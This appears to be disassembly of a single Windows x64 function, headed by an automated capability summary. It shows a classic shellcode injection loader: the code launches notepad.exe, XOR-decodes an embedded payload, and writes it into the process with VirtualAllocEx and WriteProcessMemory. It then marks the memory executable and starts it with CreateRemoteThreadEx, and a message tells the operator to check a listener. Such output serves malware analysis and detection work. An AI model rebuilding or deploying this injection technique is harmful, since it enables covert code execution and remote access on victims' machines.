Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x68
xor eax, eax
lea rcx, str.C:WindowsSystem32_notepad.exe
mov dword [rbp - 0x1c], eax
xor esi, esi
mov qword [rsp + 0x60], rax
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001127
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_create_notepad.exe_process._ERROR:__lu
call fcn.140001010
lea eax, [rsi + 1]
jmp 0x140001428
mov edx, dword [rsp + 0x60]
lea rcx, str.___notepad.exe_opened._PID:__lu_n
mov qword [rsp + 0x310], rbx
mov rbx, qword [rsp + 0x50]
mov qword [rsp + 0x318], rdi
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rdx, [rbp - 0x10]
mov ecx, 3
lea rax, [0x140003340]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001162
mov rcx, qword [rax + 0x70]
mov r9d, 0x3000
movups xmm0, xmmword [rax]
mov r8d, 0x1ff
mov dword [rsp + 0x20], 4
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov word [rdx + 0x7c], cx
movzx ecx, byte [rax + 0x7e]
mov byte [rdx + 0x7e], cl
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x14000124b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_allocate_memory_on_remote_process._ERROR:__lu
call fcn.140001010
lea eax, [rdi + 1]
jmp 0x140001418
mov rdx, rdi
lea rcx, str.___Allocated_memory_on:__p_n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
movdqa xmm2, xmmword [0x1400036e0]
mov rax, rsi
nop dword [rax + rax]
movdqu xmm0, xmmword [rbp + rax - 0x10]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rbp + rax - 0x10], xmm0
movdqu xmm0, xmmword [rbp + rax]
pxor xmm1, xmm0
movdqu xmmword [rbp + rax], xmm1
movdqu xmm0, xmmword [rbp + rax + 0x10]
pxor xmm0, xmm2
movdqu xmmword [rbp + rax + 0x10], xmm0
movdqu xmm0, xmmword [rbp + rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rbp + rax + 0x20], xmm0
add rax, 0x40
cmp rax, 0x1c0
jb 0x140001270
cmp rax, 0x1fe
jae 0x1400012e0
nop dword [rax + rax]
xor byte [rbp + rax - 0x10], 0xaa
inc rax
cmp rax, 0x1fe
jb 0x1400012d0
lea rdx, [rbp - 0x10]
lea rcx, str.___Shellcode:__p_n
call fcn.140001010
lea rax, [rsp + 0x68]
mov qword [rsp + 0x68], rsi
mov r9d, 0x1ff
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x10]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000132b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Couldnt_write_to_process_memory._ERROR:__lu
jmp 0x1400013c7
mov rdx, qword [rsp + 0x68]
lea rcx, str.____d_bytes_written_to_process_memory._n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rax, [rsp + 0x70]
mov r9d, 0x40
mov r8d, 0x1ff
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001377
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Couldnt_change_memory_protection._ERROR:__lu
jmp 0x1400013c7
lea rcx, str.___Memory_protection_has_been_changed____n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rax, [rsp + 0x74]
mov r9, rdi
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor edx, edx
mov dword [rsp + 0x28], esi
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rdi, rax
test rax, rax
jne 0x1400013de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Couldnt_create_remote_thread._ERROR:__lu
mov edx, eax
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140001418
lea rcx, str.___THREAD_EXECUTED__GO_CHECK_THE_LISTENER_____n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.____Bye_bye_
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x310]
mov rdi, qword [rsp + 0x318]
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140001460
mov rsi, qword [rsp + 0x320]
add rsp, 0x300
pop rbp
ret